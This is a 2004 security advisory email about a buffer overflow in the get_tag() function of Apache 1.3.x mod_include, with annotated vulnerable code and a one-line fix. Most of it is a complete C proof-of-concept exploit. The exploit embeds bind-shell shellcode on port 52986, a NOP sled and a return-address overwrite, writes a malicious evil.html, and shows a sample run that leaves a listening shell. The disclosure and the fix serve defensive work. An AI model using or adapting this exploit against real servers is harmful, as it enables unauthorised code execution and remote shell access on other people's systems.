Date: 25 Oct 2004 10:38:04 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [UNIX] Apache Mod_include Local Buffer Overflow
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Apache Mod_include Local Buffer Overflow
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SUMMARY
Mod_include is one of Apache's standard modules which allows users to use
some features in their HTML pages such as include files, exec commands,
echo, etc.
A buffer overflow exists within mod_include can lead to code execution
when parsing HTML tags.
DETAILS
Vulnerable Systems:
* Apache with mod_include versions 1.3.x
The overflow exists in the get_tag() function in mod_include.c:
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int
dodecode)
{
..
term = c;
while (1) {
GET_CHAR(in, c, NULL, p);
[1] if (t - tag == tagbuf_len) {
*t = '\0';
return NULL;
}
/* Want to accept \" as a valid character within a string. */
if (c == '\\') {
[2] *(t++) = c; /* Add backslash */
GET_CHAR(in, c, NULL, p);
if (c == term) { /* Only if */
[3] *(--t) = c; /* Replace backslash ONLY for
terminator */
}
}
else if (c == term) {
break;
}
[4] *(t++) = c;
}
*t = '\0';
..
}
The first check (labeled [1]) is used to find the end of the tag buffer.
However, the check could be skipped if conditions [2] and [4] are met at
the same time condition [3] is not. Thus, an attacker is able to craft a
malformed HTML file that overwrites a static buffer causing arbitrary code
execution to occur with privileges of the HTTP server child process.
Workaround
For those wishing to fix the problem in mod_include, the following line
should be changed from:
if (t - tag == tagbuf_len) {
to
if (t - tag >= tagbuf_len-1) {
In the get_tag() function. Following is a proof of concept exploit for the
vulnerability.
Proof Of Concept
/*********************************************************************************
local exploit for mod_include of apache 1.3.x
*
written by xCrZx /18.10.2004/
*
bug found by xCrZx /18.10.2004/
*
*
y0das old shao lin techniq ownz u :) remember my words
*
http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3
*
*
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)
*
*********************************************************************************/
/*********************************************************************************
Technical Details:
*
*
there is an overflow in get_tag function:
*
*
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int
dodecode) *
{
*
..
*
term = c;
*
while (1) {
*
GET_CHAR(in, c, NULL, p);
*
[1] if (t - tag == tagbuf_len) {
*
*t = '\0';
*
return NULL;
*
}
*
// Want to accept \" as a valid character within a string. //
*
if (c == '\\') {
*
[2] *(t++) = c; // Add backslash //
*
GET_CHAR(in, c, NULL, p);
*
if (c == term) { // Only if //
*
[3] *(--t) = c; // Replace backslash ONLY for
terminator // *
}
*
}
*
else if (c == term) {
*
break;
*
}
*
[4] *(t++) = c;
*
}
*
*t = '\0';
*
..
*
*
as we can see there is a [1] check to determine the end of tag buffer
*
but this check can be skiped when [2] & [4] conditions will be occured
*
at the same time without [3] condition.
*
*
So attacker can create malicious file to overflow static buffer, on
*
which tag points out and execute arbitrary code with privilegies of
*
httpd child process.
*
*
Fix:
*
[1*] if (t - tag >= tagbuf_len-1) {
*
*
Notes: To activate mod_include you need write "XBitHack on" in httpd.conf
*
*
*********************************************************************************/
/*********************************************************************************
Example of work:
*
*
[root@blacksand htdocs]# make 85mod_include
*
cc 85mod_include.c -o 85mod_include
*
[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html
*
[root@blacksand htdocs]# chmod +x evil.html
*
[root@blacksand htdocs]# netstat -na|grep 52986
*
[root@blacksand htdocs]# telnet localhost 8080
*
Trying 127.0.0.1...
*
Connected to localhost.
*
Escape character is '^]'.
*
GET /evil.html HTTP/1.0
*
^]
*
telnet> q
*
Connection closed.
*
[root@blacksand htdocs]# netstat -na|grep 52986
*
tcp 0 0 0.0.0.0:52986 0.0.0.0:*
LISTEN *
[root@blacksand htdocs]#
*
*********************************************************************************/
/*********************************************************************************
Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always
*
*********************************************************************************/
/*********************************************************************************
Personal hello to my parents :)
*
*********************************************************************************/
/*********************************************************************************
Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz
*
*********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define EVILBUF 8202
#define HTMLTEXT 1000
#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn
U\n</html>"
#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by
xCrZx /18.10.2004/ ***\n"
int main(int argc, char **argv) {
char html[EVILBUF+HTMLTEXT];
char evilbuf[EVILBUF+1];
//can be changed
char shellcode[] =
// bind shell on 52986 port
"\x31\xc0"
"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
//execve /tmp/sh <- your own program
/*
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/tmp/sh";
*/
char NOP[] = "\x90\x40"; // special nops ;)
char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;)
int padding,xpad=0;
int i,fd;
long ret=0xbfff8688;
if(argc>1) ret=strtoul(argv[1],0,16);
else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> >
file.html\n\n",argv[0]);exit(0); }
padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
while(1) {
if(padding%2==0) { padding/=2; break;}
else {padding--;xpad++;}
}
memset(html,0x0,sizeof html);
memset(evilbuf,0x0,sizeof evilbuf);
for(i=0;i<padding;i++)
memcpy(evilbuf+strlen(evilbuf),&NOP,2);
for(i=0;i<xpad;i++)
memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);
memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
*(long*)&evilbuf[strlen(evilbuf)]=ret;
sprintf(html,HTML_FORMAT,evilbuf);
printf("%s",html);
return 0;
}
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